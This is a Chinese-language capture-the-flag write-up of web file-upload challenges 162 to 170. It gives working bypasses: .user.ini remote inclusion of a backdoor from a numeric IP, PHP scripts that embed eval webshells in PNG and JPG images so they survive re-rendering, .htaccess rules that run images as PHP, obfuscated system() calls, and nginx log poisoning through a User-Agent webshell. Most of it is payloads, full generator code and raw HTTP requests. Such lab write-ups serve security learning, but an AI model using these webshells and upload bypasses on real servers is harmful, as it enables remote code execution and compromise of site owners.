题目是继承式的,前一道题是后一道题的基础
162 突破.过(大概思路明了了,但是题目有bug,无法复现) 数据包修改时啊,必须带文件头才能正常。 GTF89a 题目本身过滤了 . () {} ;等符号,空格也不行
利用远程包含IP转换地址后门调用执行 1.搭建一个包含后门代码的网站 2.把这个网站包含到靶场的上传文件当中 3.为了包含方便,使用IP地址转换,把IP地址转换为数字组合 .user.ini auto_prepend_file=png png <?=include'http://794750069/'> https:
严格过滤掉各个符号
163 突破.上传删除(大概思路明了了,但是题目有bug,无法复现) 过滤 . () {} ;等 同时文件被删除 直接利用.user.ini包含远程 auto_prepend_file=http: auto_prepend_file=http:
上面两种远程包含的前提是目标网站带有漏洞代码 <?php eval($_POST['x'])?> 目前测试了一早上,没测试成功……(此方法暂时搁置)
164 png二次渲染 二次渲染:网站一般有对图片的二次处理,使图片相较于原图有些修改。为了节约空间,可能会进行删除压缩修改图片的代码。 二次渲染可能删除后门代码。--图像网站比较注重。手工操作比较复杂。 手工修改插入后门代码,能不能被过滤掉靠运气。如果不是文件,传都传不上去。 手工插入全靠运气,或找到不会被二次渲染改变的区域。 工具生成比较规矩,并且做到了插入不被删除的地方。
博客参照:https: 规矩的运行下面php代码即可生成后门图片 <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>
生成图片后上传,点击查看图片后进行如下操作 get: url&0=system post: 1=tac flag.php ctfshow{96321d8f-b7f2-477d-b6b7-d0aaf059fe6b}
png删除规则: 1.什么都删除 2.只删除后门代码 条件竞争:上传文件成功,文件没删除前,立刻访问,利用代码生效的那一刹那出行创建一个文件。可以把文件上传到其他目录,可以在删除前赶紧把结果发送出去。 上传的地址:upload/png 没上传之前一直访问upload post:代码利用PHP创建一个文件
165 jpg二次渲染 1、先上传jpg正常,返回包发现渲染 2、上传jpg渲染后保存,生成带代码图片 生成时调用的代码: <?php $miniPayload = "<?=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?> CMD调用执行:php jpg.php 1.jpg 生成的图片不一定是能上传的,因为生成的结果可能每次都不一样。
关键点:文件包含,二次渲染,图片作为php代码执行。
166 zip调用包含 直接上传zip后修改代码 (貌似改了版) 上传文件,插入: POST /upload.php HTTP/1.1 Host: 600884d4-bde3-4359-9b6a-c35b3a4e1b93.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: application/json, text/javascript, *
: {"code":0,"msg":"686f051366d226dc70d1f63592b2f753.zip"} 后面是对应的文件地址,访问压缩包的时候,属于文件包含下载: http: 在浏览器使用hackbar,再使用post传入参数,并且在BP将数据包拦截: POST /upload/download.php?file=686f051366d226dc70d1f63592b2f753.zip HTTP/1.1 Host: 600884d4-bde3-4359-9b6a-c35b3a4e1b93.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*
实验了下,需要使用URL编码,否则无回显。 BP返回的是文件列表 再传入这个即可得到flag: 1=system%28%27tac%20..%2Fflag.php%27%29%3B
167 .htaccess妙用 .htaccess默认不支持nginx,设置后支持 .htaccess可以通过设置实现文件解析配置 将.png后缀的文件解析成php AddType application/x-httpd-php .jpg
解题: 上传时改为后门代码,并且上传.htaccess(关键部分截取) -----------------------------12155357919748644583173694937 Content-Disposition: form-data; name="file"; filename=".htaccess" Content-Type: image/jpeg
AddType application/x-httpd-php .jpg -----------------------------12155357919748644583173694937-- 后面使用浏览器访问网站对应的图片地址,并且使用后门展示flag信息即可。
168 免杀后门 字符串拼接后执行上传操作 <?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>
169 170日志包含 构造.user.ini利用的两个条件: 1.index.php ==> 上传index.php 内容随意 2.php7.x 解题: 1.上传index.php,内容随意。 2.上传.user.ini包含日志: auto_prepend_file=/var/log/nginx/access.log 3.访问url/upload查看是不是有日志,生效后再做下面的尝试。 随便访问个地址,把后门写入UA头:<?=eval($_POST[x]);?> 后台记录后等同于写入了日志,访问/upload+post操作即可
|